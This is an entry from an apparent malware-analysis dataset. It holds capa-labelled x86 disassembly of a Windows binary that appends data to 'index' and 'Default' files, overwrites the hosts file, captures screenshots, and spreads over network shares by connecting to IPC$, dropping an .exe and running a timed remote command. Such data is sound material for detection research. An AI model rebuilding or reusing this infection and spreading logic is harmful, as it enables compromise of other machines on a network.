joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409c2d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
and dword [ebp - 4], 0
or dword [ebp - 8], 0xffffffff
mov eax, dword [0x415930]
cmp dword [eax + 0x1354], 0
jne 0x409cad
push 0x5c
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
inc eax
push eax
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x2e
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
and dword [eax], 0
push str.index
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x409cad
push str.Default
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x409cad
jmp 0x409d43
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x409cd3
jmp 0x409d43
push 0
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 8]
call fcn.00402db5
push dword [ebp - 8]
call fcn.00409a9c
test eax, eax
jne 0x409cf8
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x409d43
push 2
push 0
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [0x415930]
push dword [eax + 0x1358]
mov eax, dword [0x415930]
add eax, 0x135c
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 8]
call fcn.00402db5
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret 4
Function at 0x40a011
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x464
or dword [ebp - 0x354], 0xffffffff
push 0x104
push 0
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push 0x410e98
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0x248]
and eax, 0xffffff
cmp eax, 0x5c3a43
jne 0x40a129
and dword [ebp - 0x358], 0
push 0x104
push 0
lea eax, [ebp - 0x460]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
push eax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0x5c
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
pop ecx
pop ecx
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0
je 0x40a129
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x464], 0x413af0
mov eax, dword [ebp - 0x464]
movsx eax, byte [eax]
test eax, eax
je 0x40a129
push dword [ebp - 0x464]
push dword [ebp - 0x358]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40a10b
jmp 0x40a204
push dword [ebp - 0x464]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x464]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x464], eax
jmp 0x40a0e3
push 0x104
push 0
lea eax, [ebp - 0x350]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x354], eax
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00409e48
push 0x140
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40a1f8
cmp dword [0x4169fc], 1
jne 0x40a1e0
movsx eax, byte [ebp - 0x350]
test eax, eax
je 0x40a1e0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40a1e0
jmp 0x40a1f8
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x140]
push eax
call fcn.00409e48
jmp 0x40a19b
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindClose]
leave
ret 4
Function at 0x40a398
Capabilities:
Check for time delay via gettickcount
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
and dword [ebp - 0x194], 0
lea eax, [ebp - 0x190]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x194], eax
push str.www.baidu.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40a3fd
cmp dword [ebp + 8], 0xffffffff
je 0x40a3f0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x194]
cmp eax, dword [ebp + 8]
jb 0x40a3f0
xor eax, eax
jmp 0x40a406
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a3c6
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4

Function at 0x40a40a
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov dword [ebp - 8], str.127.0.0.1_______localhost_r_n
and dword [ebp - 4], 0
or dword [ebp - 0xc], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x10], eax
push 0x104
push 0
lea eax, [ebp - 0x118]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x415a50
push str._sdriversetchosts
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x80
lea eax, [ebp - 0x118]
push eax
call dword [ebp - 0x10]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 7
lea eax, [ebp - 0x118]
push eax
call dword [ebp - 0x10]
leave
ret
Function at 0x40a659
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
and dword [ebp - 8], 0
and dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jne 0x40a67c
mov dword [ebp - 8], 1
jmp 0x40a856
cmp dword [ebp + 0x10], 1
je 0x40a68c
cmp dword [ebp + 0x10], 2
jne 0x40a856
and dword [ebp - 0xb4], 0
and dword [ebp - 0x60], 0
and dword [ebp - 0x5c], 0
push 0x50
push 0
lea eax, [ebp - 0xb0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x50
push 0
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xb8], 1
jmp 0x40a6d7
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
cmp dword [ebp - 0xb8], eax
ja 0x40a78e
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
sub eax, dword [ebp - 0xb8]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 0x5c], eax
cmp dword [ebp + 0x10], 1
jne 0x40a718
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x60], eax
jmp 0x40a756
cmp dword [ebp + 0x10], 2
jne 0x40a756
mov eax, dword [ebp - 0x5c]
cmp dword [eax + 0x10], 0
jbe 0x40a752
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx + 0x10]
mov ecx, dword [ebp + 0xc]
sub ecx, eax
mov dword [ebp - 0x60], ecx
jne 0x40a750
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 8], eax
jmp 0x40a856
jmp 0x40a756
and dword [ebp - 0x60], 0
cmp dword [ebp - 0x60], 0
jbe 0x40a789
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xb0], ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x58], ecx
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
jmp 0x40a6ca
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x60], eax
and dword [ebp - 0xbc], 0
jmp 0x40a7ad
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xb4]
jae 0x40a80f
cmp dword [ebp + 0x10], 1
jne 0x40a7e5
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp eax, dword [ebp - 0x60]
jbe 0x40a7e3
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
mov dword [ebp - 0x60], eax
jmp 0x40a80d
cmp dword [ebp + 0x10], 2
jne 0x40a80d
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
cmp eax, dword [ebp - 0x60]
jae 0x40a80d
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0xb0]
mov dword [ebp - 0x60], eax
jmp 0x40a7a0
and dword [ebp - 0xc0], 0
jmp 0x40a825
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0xb4]
jae 0x40a856
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x60]
cmp ecx, dword [ebp + eax*4 - 0xb0]
jne 0x40a854
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp + eax*4 - 0x58]
mov dword [ebp - 8], eax
jmp 0x40a856
jmp 0x40a818
cmp dword [ebp - 8], 0
jne 0x40a863
mov dword [ebp - 8], 1
mov eax, dword [ebp + 8]
movzx eax, word [eax + 6]
sub eax, dword [ebp - 8]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 0xf8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x40b7a0
Capabilities:
Copy file
Delete file
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
push 0x104
push 0
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x26
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push str.WinRARRar.exe
lea eax, [ebp - 0x210]
push eax
push str._s_s
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
call fcn.0040246e
push eax
push 0x415940
push str._s_.8x.exe
push 0x416258
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
push 0x416258
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x40b843
xor eax, eax
jmp 0x40b8af
push str.c_312747.nls
push 0x415a50
push 0x4103c4
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 3
push 0x416a08
push 0x416a04
lea eax, [ebp - 0x318]
push eax
call fcn.004010d4
test eax, eax
jne 0x40b88b
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 4
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x413804], eax
xor eax, eax
inc eax
leave
ret

Function at 0x40b93b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x4169fc], 0
jne 0x40b96f
cmp dword [0x416a00], 1
jne 0x40b96f
mov dword [0x4169fc], 1
push 0
push 0
push 0
push 0x40b8f2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x40c15f
Capabilities:
Create thread

Disassembly:
push 0xbd38fb50
push 0x37d4aa87
mov byte [esp], al
mov dword [esp + 4], esi
pushfd
pushfd
mov dword [esp + 8], ebx
movsx ebx, dl
mov dword [esp + 4], edx
movsx bx, bl
jmp 0x40c13f
movsx dx, al
mov dword [esp], ecx
movsx edx, cl
mov dh, bh
setns dh
not bh
pushfd
btc si, ax
ror ebx, cl
call fcn.0043ce72
adc byte [edi], bh
xchg esp, eax
push ebp
mov ebp, esp
sub esp, 0x10
and dword [ebp - 8], 0
and dword [ebp - 4], 0
cmp dword [ebp - 4], 1
je 0x40c179
cmp dword [ebp + 8], 1
jne 0x40c1a7
and dword [ebp - 4], 0
cmp dword [0x416a14], 0
je 0x40c1a7
push dword [0x416a14]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
push dword [0x416a10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and dword [0x416a10], 0
push 1
call fcn.0040968a
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jne 0x40c22c
or dword [ebp - 0xc], 0xffffffff
push 0x104
push 0
push 0x416360
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x410e2c
call fcn.0040246e
push eax
push 0x415940
push str._s_x._s
push 0x416360
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push 0x416360
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x20
push 0
push 0x41656c
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0x40bf96
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x416a10], eax
cmp dword [ebp - 8], 1
jne 0x40c2ae
and dword [ebp - 0x10], 0
cmp dword [0x416a18], 0
jne 0x40c26c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x416a18], eax
mov eax, dword [0x415930]
push dword [eax + 0x1c00]
push dword [0x416a18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x10], eax
push dword [0x416a18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [0x416a18], 0
cmp dword [ebp - 0x10], 0x102
jne 0x40c2ae
mov dword [ebp - 4], 1
jmp 0x40c16d
xor eax, eax
leave
ret 4
Function at 0x40c5b9
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push esi
push edi
and dword [ebp - 0x258], 0
and dword [ebp - 0x260], 0
and dword [ebp - 0x25c], 0
and dword [ebp - 8], 0
and dword [ebp - 0x254], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x250], 0
mov dword [ebp - 0x18], 1
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0x22c], 0
push 0x208
push 0
lea eax, [ebp - 0x228]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x228]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x254], eax
push 8
push dword [ebp - 0x254]
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 0x260], eax
push 0xa
push dword [ebp - 0x254]
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 0x25c], eax
push dword [ebp - 0x25c]
push dword [ebp - 0x260]
push dword [ebp - 0x254]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x250], eax
push dword [ebp - 0x254]
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x250]
push dword [ebp - 0x1c]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0x254]
push dword [ebp - 0x25c]
push dword [ebp - 0x260]
push 0
push 0
push dword [ebp - 0x1c]
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
call sub.gdiplus.dll_GdiplusStartup
lea eax, [ebp - 0x22c]
push eax
push 2
push dword [ebp - 0x250]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
lea eax, [ebp - 0x270]
push eax
push str.image_jpeg
call fcn.0040c4f3
mov dword [ebp - 8], 0xf
mov dword [ebp - 0x24c], 1
mov esi, 0x41035c
lea edi, [ebp - 0x248]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x234], 4
mov dword [ebp - 0x238], 1
lea eax, [ebp - 8]
mov dword [ebp - 0x230], eax
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 0x22c]
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [ebp - 0x22c]
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
push dword [ebp - 4]
call sub.gdiplus.dll_GdiplusShutdown
push dword [ebp - 0x1c]
call dword [sym.imp.GDI32.dll_DeleteDC]
push dword [ebp - 0x250]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [ebp - 0x254]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 0x258]
pop edi
pop esi
leave
ret 4
Function at 0x40c86d
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40c8c0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x40c8c0
or eax, 0xffffffff
jmp 0x40c8c2
xor eax, eax
leave
ret 0x18
Function at 0x40cb78
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x18], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0x40fc4e
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
je 0x40cbba
jmp 0x40cd24
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40cbd3
jmp 0x40cd24
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40ccfb
and dword [ebp - 0x1c], 0
jmp 0x40cc0e
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x14]
jae 0x40ccf9
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x40ccd3
or dword [ebp - 0x12c], 0xffffffff
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push str._sdesktop.txt
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0xffffffff
je 0x40ccd3
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x410e7c
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x128]
push eax
call fcn.0040a011
call fcn.0040b93b
mov eax, dword [ebp - 0x1c]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x40ccf4
mov eax, dword [ebp - 0x1c]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.0040cb78
jmp 0x40cc07
jmp 0x40cd06
cmp dword [ebp - 0x18], 0x103
je 0x40cd06
jmp 0x40cd13
cmp dword [ebp - 0x18], 0x103
jne 0x40cbd3
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 4]
call sub.MPR.dll_WNetCloseEnum
leave
ret 4
Function at 0x40ce39
Capabilities:
Connect network resource
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d0
and dword [ebp - 0x28], 0
or dword [ebp - 0x2c], 0xffffffff
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x24], eax
push 0x40
push 0
lea eax, [ebp - 0x70]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push str._sipc_
lea eax, [ebp - 0x70]
push eax
call dword [ebp - 0x24]
add esp, 0xc
and dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 2
and dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 1
and dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x410deb
and dword [ebp - 4], 0
lea eax, [ebp - 0x70]
mov dword [ebp - 0xc], eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 0x10]
lea eax, [ebp - 0x20]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x40cebc
mov eax, dword [ebp - 0x28]
jmp 0x40d022
push 0x40
push 0
lea eax, [ebp - 0x1b8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.0040246e
push eax
push str._.8x
lea eax, [ebp - 0x1b8]
push eax
call dword [ebp - 0x24]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x178]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1b8]
push eax
push 0x411080
push dword [ebp + 8]
push str._s_s_s.exe
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x178]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40d012
and dword [ebp - 0x1bc], 0
push 0
lea eax, [ebp - 0x1bc]
push eax
push dword [0x4169a8]
push dword [0x4169a4]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x1bc]
cmp eax, dword [0x4169a8]
jne 0x40d009
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x5d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x400
push 0
lea eax, [ebp - 0x5c0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x410e30
lea eax, [ebp - 0x1b8]
push eax
push 0x411094
movzx eax, word [ebp - 0x5c6]
add eax, 3
push eax
movzx eax, word [ebp - 0x5c8]
push eax
push dword [ebp + 8]
push 0x411098
push str._s__s__d:_d__s_s._s
lea eax, [ebp - 0x5c0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
push 0
lea eax, [ebp - 0x5c0]
push eax
call dword [ebp - 0x1c0]
mov dword [ebp - 0x28], 1
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
push 1
lea eax, [ebp - 0x70]
push eax
call sub.MPR.dll_WNetCancelConnection2A
mov eax, dword [ebp - 0x28]
leave
ret 0xc

Function at 0x40e298
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 0x14], 0
mov eax, dword [ebp + 8]
and dword [eax + 0x10], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0x67452301
mov eax, dword [ebp + 8]
mov dword [eax + 4], 0xefcdab89
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0xc], 0x10325476
pop ebp
ret 4